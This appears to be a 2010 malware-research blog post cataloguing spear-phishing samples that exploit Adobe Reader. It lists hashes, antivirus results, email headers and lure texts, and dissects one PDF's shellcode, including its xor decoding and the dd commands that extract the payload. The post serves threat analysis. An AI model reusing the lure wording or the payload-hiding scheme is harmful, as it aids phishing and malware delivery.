Kaspersky 7.0.0.125 2010.02.09 Exploit.JS.Pdfka.adn
McAfee-GW-Edition 6.8.5 2010.02.09 Heuristic.BehavesLike.PDF.Shellcode.Z
Microsoft 1.5406 2010.02.09 Exploit:JS/Heapspray
nProtect 2009.1.8.0 2010.02.09 Exploit.PDF-JS.Gen.C02
PCTools 7.0.3.5 2010.02.09 Trojan.Pidief
Sophos 4.50.0 2010.02.09 Troj/PDFJs-GQ
Symantec 20091.2.0.41 2010.02.09 Trojan.Pidief.H
TrendMicro 9.120.0.1004 2010.02.09 TROJ_PDFKA.AK
File size: 149706 bytes
MD5   : 116d92f036f68d325068f3c7bbf1d535

Wepawet detects it as project.pdf
http://wepawet.iseclab.org/view.php?hash=116d92f036f68d325068f3c7bbf1d535&type=js
Analysis report for Project.pdf
Sample Overview
File Project.pdf
MD5 116d92f036f68d325068f3c7bbf1d535
Analysis Started 2010-01-19 14:15:12
Report Generated 2010-01-19 14:16:24
Jsand version 1.03.02

Detection results
Detector Result
Jsand 1.03.02 benign

F-Secure already pointed out that it generates traffic to 202.150.213.12. 

Indeed, a lot of traffic on port 443

      Hostname:    202-150-213-12.rev.ne.com.sg
      ISP:    NewMedia Express Pte Ltd, Singapore Web Hosting
      Organization:    NewMedia Express Pte Ltd, Singapore Web Hosting
      Country:    Singapore
      State/Region:    00
      City:    Singapore

Update March 8, 2010 

Here are a few additional details (thanks to an anonymous contributor)

Shellcode imports via ror7 hashes, 

SetFilePointer, GetFileSize, ReadFile, VirtualAlloc.
http://www.google.com/search?q=0xdbacbe43

The GetFileSize filehandle brute force is not exact, but it additionally checks for signature "0x909083c0" at 0x1510 (location of 2nd stage shellcode).
2nd stage shellcode: xor decrypts itself (0x97) for 0x700 bytes.
dd if=116d92f036f68d325068f3c7bbf1d535 of=116d92f036f68d325068f3c7bbf1d535.shellcode-stage2.bin skip=5392 bs=1 count=4096

skip decryption stub (0x1b) and xor the rest with 0x97.

Imports via ror7 hashes:
GetModuleFileNameA
GetFileSize
SetFilePointer
CreateFileA
ReadFile
WriteFile
CloseHandle
WinExec
GetTempPathA
CreateProcessA
GetCurrentProcess
TerminateProcess

Gets filehandle to pdf by exact filesize (0x248CA, 149706) reads from file @ 0x6BCE file size 0x906E
dd if=116d92f036f68d325068f3c7bbf1d535 of=116d92f036f68d325068f3c7bbf1d535.exe.bin bs=1 skip=27598 count=36974
The last byte of the size (0x6E) is used as xor key, on every byte the key is decreased with 1.

( this is something you can add to your heuristics)

 After that the embedded pdf is decrypted, Acrobat reader starts while the old process gets terminated. 

List of Aurora / Hydraq / Roarur files

I see multiple searches for Hydraq MD5 information leading to this post -Trojan.Hydraq detection and naming so I am adding a few things now.

McAfee issued a guide outlining all the symptoms of Aurora infection "How Can I Tell if I Was Infected By Aurora?"

Links to Virustotal

The list of files provided by McAfee is the following

securmon.dll             E3798C71D25816611A4CAB031AE3C27A      (Wed Dec 16 13:20:28 2009)

Rasmon.dll               0F9C5408335833E72FE73E6166B5A01B         (Tue Jul 21 01:38:07 2009)

a.exe                       CD36A3071A315C3BE6AC3366D80BB59C

b.exe                       9F880AC607CBD7CDFFFA609C5883C708     (Tue Jul 21 01:38:27 2009)

AppMgmt.dll           6A89FBE7B0D526E3D97B0DA8418BF851       (Sat Sep 19 02:36:44 2009)

A0029670.dll          3A33013A47C5DD8D1B92A4CFDCDA3765    (Wed Dec 16 05:55:31 2009)

msconfig32.sys        7A62295F70642FEDF0D5A5637FEB7986

VedioDriver.dll        467EEF090DEB3517F05A48310FCFD4EE        (Wed Jun 7 05:41:49 2006)--Download*

acelpvc.dll               4A47404FC21FFF4A1BC492F9CD23139C       (Tue May 23 17:32:58 2006)--Download*

You also may have the following files or same name files but different MD5 hash

Additional - list from ANTY Security

30755.malware*(?) 1B59487D4DC029D92B61ABD4F69C9923        (Tue Jul 21 01:38:27 2009)
1.bin*                      BCBEF5AB2C75C171FEDCCA0A33BCF7F7   (Tue Jul 21 01:38:27 2009)

Rasmon.dll               32CC9F9DA93DD4E9FD3D203881197CBF      (Tue Jul 21 01:38:07 2009)
Rasmon.dll               2CFCD8C34F22FFB772C99C9293C21BDA     (Tue Jul 21 01:38:07 2009)

Rasmon.dll               3A33013A47C5DD8D1B92A4CFDCDA3765     (Wed Dec 16 05:55:31 2009)

Rasmon.dll               4A069A20B8262B20E7440C8AB9C54E11        (Tue Jul 21 01:38:07 2009)

Rasmon.dll               80FC413CF908CD4506C3F790E484822E         (Tue Jul 21 01:38:07 2009)

c_1758.nls               BA3545841D8A40ED8493E22C0E70A72C       (Tue Aug 15 16:18:27 2006)--Download*

Additional - list from Security.nl

jucheck.exe            79ABBA920201031147566F5418E45F34             (Sun Nov 22 18:25:44 2009)

AdobeUpdateManager.exe 9A7FCEE7FF6035B141390204613209DA(Sun Nov 22 18:10:09 2009)

zf32.dll                    EB4ECA9943DA94E09D22134EA20DC602        (Fri Mar 5 18:29:00 2004)       

I can also add the following files that you may find

Rasmon.dll               FCFCE3EAF930B907B3CBE45CD41F73C5       (Sat Aug 26 18:49:32 2006)--Download*

c_8540.nls               50CDA594DB832F4F98A5E5D2065192DF -      (Sat Aug 26 18:37:47 2006)--Download*

* Password protected archive, please contact me for the password if you need it.

Contact me If you are the one who submitted binary 09E25BB934D8523FCCD27B86FBF4F8CE to ThreatExpert

 I will tell you what it is, if you don't know and I will seek more information if you have.
 09E25BB934D8523FCCD27B86FBF4F8CE
 
http://www.threatexpert.com/report.aspx?md5=09e25bb934d8523fccd27b86fbf4f8ce

Submission received: 2 February 2010, 14:03:33
Processing time: 5 min 58 sec
Submitted sample:
File MD5: 0x09E25BB934D8523FCCD27B86FBF4F8CE
File SHA-1: 0xA51D560158E3D35B1618D236C28AE0B722AC7CC0
Filesize: 215,552 bytes
 Technical Details:
  File System Modifications
The following file was created in the system:
# Filename(s) File Size File Hash
1 [file and pathname of the sample #1]  215,552 bytes MD5: 0x09E25BB934D8523FCCD27B86FBF4F8CE
SHA-1: 0xA51D560158E3D35B1618D236C28AE0B722AC7CC0

Feb 04 Downloader Trojan "Friends say I am free" from joan@fguang.com

This came as a rar archive with a password featured on the postcard 12ab34.What does the postcard say - can anyone translate? This is a lame and huge (2mb) mailing but maybe exe will be of interest for someone, it has a very low detection rate.

Download a694466ea431046d2a063db37390abea Content. Exe - 内容.exe as a password protected archive (contact me for the password if you need it)

• Details a694466ea431046d2a063db37390abea Content. Exe - 内容.exe

Friends say I am free

From: joan [mailto:joan@fguang.com]
Sent: Thursday, February 04, 2010 12:35 PM
To: XXXXXXXXXXXXX
Subject: 朋友们说 我很自由














CW Sandbox
http://www.sunbeltsecurity.com/cwsandboxreport.aspx?id=51263117&cs=7F3CF650FE8908CE7DC291901D7A2878


Anubis
http://anubis.iseclab.org/?action=result&task_id=19d68eaed2090ba344d36653cc1feb143&call=first

Virustotal
 http://www.virustotal.com/analisis/9c9743d33025cd50910dfef8a7c2f1560e3d45b85e2871a357b47ccd66749c9a-1265695511
Result: 3/40 (7.5%)
eSafe 7.0.17.0 2010.02.07 Win32.TrojanHorse
F-Secure 9.0.15370.0 2010.02.09 Suspicious:W32/Riskware!Online
Sophos 4.50.0 2010.02.09 Troj/DwnLdr-IAE
File size: 1536904 bytes
MD5...: a694466ea431046d2a063db37390abea

Feb. 1 DarkMoon-B Video.exe with 222.35.137.193 from masao_tomikawas@yahoo.com 2/1/2010 2:43 AM

This is just an exe (PE32 executable for MS Windows) in zip archive. From China and connecting back to China. Not very creative.

Download Video.exe as a password protected archive (please contact me if you need the password)

• Details: a4754be7b34ed55faff832edadac61f6 - Video.exe

From: masao_tomikawas@yahoo.com [mailto:masao_tomikawas@yahoo.com]
Sent: Monday, February 01, 2010 2:43 AM
To: 
Subject: Press(Quake aid starts to arrive for desperate Haitians)
 
PORT-AU-PRINCE, Haiti (AP) - Desperately needed aid from around the world slowly made its way Thursday into Haiti, where supply bottlenecks and a leadership vacuum left rescuers scrambling on their own to save the trapped and injured and get relief supplies into the capital.
..............

see the full text in the end of the post

Headers

Received: (qmail 17548 invoked from network); 1 Feb 2010 07:43:09 -0000
Received: from unknown (HELO fisherxp-pc.domain) (218.67.128.26)
  by XXXXXXXXXXXXXX SMTP; 1 Feb 2010 07:43:09 -0000
Received: from 1428151.com ([127.0.0.1]) by 1428151.com ([127.0.0.1]) with SMTPSVC;
     Mon, 01 Feb 2010 15:43:07 +0800
Message-ID: <6dd17374c7e8d17543324b690c0db2e7@yahoo.com>
From:
To: XXXXXXXXXXXXXXXXXXXXXXXX
Subject: =?gb2312?B?UHJlc3MoUXVha2UgYWlkIHN0YXJ0cyB0byBhcnJpdmUgZm9yIGRlcw==?=
    =?gb2312?B?cGVyYXRlIEhhaXRpYW5zKQ==?=
Date: Mon, 01 Feb 2010 15:43:07 +0800

      Hostname:    218.67.128.26
      ISP:    China Unicom Tianjin province network
      Organization:    China Unicom Tianjin province network
      Country:    China
      City:    Tianjin

Feb 3 CVE-2009-0927 Former Minister of Finance Paulson's comments on Obama's $3.8 trillion budget from Simonbaker@aol.com

• CVE-2009-0927 Stack-based buffer overflow in Adobe Reader and Adobe Acrobat 9 before 9.1, 8 before 8.1.3 , and 7 before 7.1.1 allows remote attackers to execute arbitrary code via a crafted argument to the getIcon method of a Collab object, a different vulnerability than CVE-2009-0658.

Download 2366453EE94A7BA4D296FA4E710ED805-CommentsOnObama2010budget as password protected archive (please contact me if you need the password)

Details:2366453EE94A7BA4D296FA4E710ED805-CommentsOnObama2010budget

From: Simon Baker [mailto:Simonbaker@aol.com]
Sent: Wednesday, February 03, 2010 10:04 PM
Subject: Former Minister of Finance Paulson's comments on Obama's $3.8 trillion budget

Hi,

If you have read Paulson's comments, you know how ridiculous Obama's $3.8 trillion budget is.
Please do not vote for members of support budget in November's elections.

Best regards

Virustotal
http://www.virustotal.com/analisis/783a6934a1c12c31f874f8246aa44c07d010480546bcb263fb3f090337a6874a-1266495353
 File CommentsOnObama2010budget.pdf received on 2010.02.18 12:15:53 Result: 18/41 (43.91%)
a-squared    4.5.0.50    2010.02.18    Exploit.Win32.Pidief!IK
AhnLab-V3    5.0.0.2    2010.02.17    PDF/Exploit
AntiVir    8.2.1.170    2010.02.18    HTML/Silly.Gen
Antiy-AVL    2.0.3.7    2010.02.18    Exploit/Win32.Pidief
Authentium    5.2.0.5    2010.02.18    PDF/UtlPtf.B!Camelot
Avast    4.8.1351.0    2010.02.18    JS:Pdfka-ME
BitDefender    7.2    2010.02.18    Exploit.PDF-JS.Gen
ClamAV    0.96.0.0-git    2010.02.18    Exploit.PDF-11669
Comodo    3980    2010.02.18    TrojWare.Win32.Exploit.Pidief.bxf

Kaspersky

7.0.0.125

Exploit.Win32.Pidief.bxf

eSafe    7.0.17.0    2010.02.17    PDF.Exploit
F-Secure    9.0.15370.0    2010.02.18    Exploit.PDF-JS.Gen
GData    19    2010.02.18    Exploit.PDF-JS.Gen
Ikarus    T3.1.1.80.0    2010.02.18    Exploit.Win32.Pidief
McAfee-GW-Edition    6.8.5    2010.02.18    Script.Silly.Gen
Sophos    4.50.0    2010.02.18    Troj/PDFJS-BX
Sunbelt    5684    2010.02.18    Exploit.PDF.Pidief (v)
VirusBuster    5.0.27.0    2010.02.18    JS.BOFExploit.Gen
Additional information
File size: 119239 bytes
MD5...: 2366453ee94a7ba4d296fa4e710ed805



Wepawet
 http://wepawet.cs.ucsb.edu/view.php?hash=2366453ee94a7ba4d296fa4e710ed805&type=js
 File    CommentsOnObama2010budget.pdf
MD5    2366453ee94a7ba4d296fa4e710ed805
Analysis Started    2010-02-18 04:18:06
Report Generated    2010-02-18 04:21:39
Jsand 1.02.02    malicious
Adobe getIcon    Stack-based buffer overflow in Adobe Reader and Acrobat via the getIcon method of a Collab object    CVE-2009-0927

Feb. 3 CVE-2009-4324 Maritime Disputes in East Asia from wozniak@yahoo.com 03 Feb 2010 05:19:02 PST

• CVE-2009-4324 Use-after-free vulnerability in the Doc.media.newPlayer method in Adobe Reader and Acrobat 8.0 through 9.2, and possibly earlier versions, allows remote attackers to execute arbitrary code using ZLib compressed streams, as exploited in the wild in December 2009. 

Download 1f2cc9238129512c6f118ffdfec79189 - East China Sea 2010-1.pdf as a password protected archive (please contact me if you need the password)

Details: 1f2cc9238129512c6f118ffdfec79189 -  East China Sea 2010-1.pdf

From: Natalie S. Wozniak [mailto:natalies.wozniak@yahoo.com]

Sent: Wednesday, February 03, 2010 8:56 AM
Subject: Maritime Disputes in East Asia

Colleague,

I was able to secure permission to forward you the attached CRS report on Maritime Disputes in East Asia; just came out today. They intentionally kept it short report, in hopes that it would increase its readership. 

Please share with your colleagues. Also, please share their comments, observations and questions.

Best,

Natalie

Headers

Message-ID: <242520.45817.qm@web114111.mail.gq1.yahoo.com>

 ....
Received: from [69.197.151.114] by web114111.mail.gq1.yahoo.com via HTTP; Wed, 03 Feb 2010 05:19:02 PST

X-Mailer: YahooMailRC/272.7 YahooMailWebService/0.8.100.260964

Date: Wed, 3 Feb 2010 05:19:02 -0800 (PST)

From: "Natalie S. Wozniak"
Subject: Maritime Disputes in East Asia
To: XXXXXXXXXXXXX
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="0-410636181-1265203142=:45817"
  

Lookup IP Address: 69.197.151.114

General Information
Hostname: server.gvd.tw
ISP: WholeSale Internet
Organization: Max Dmitry
Country: United States  
State/Region: MO
City: Kansas City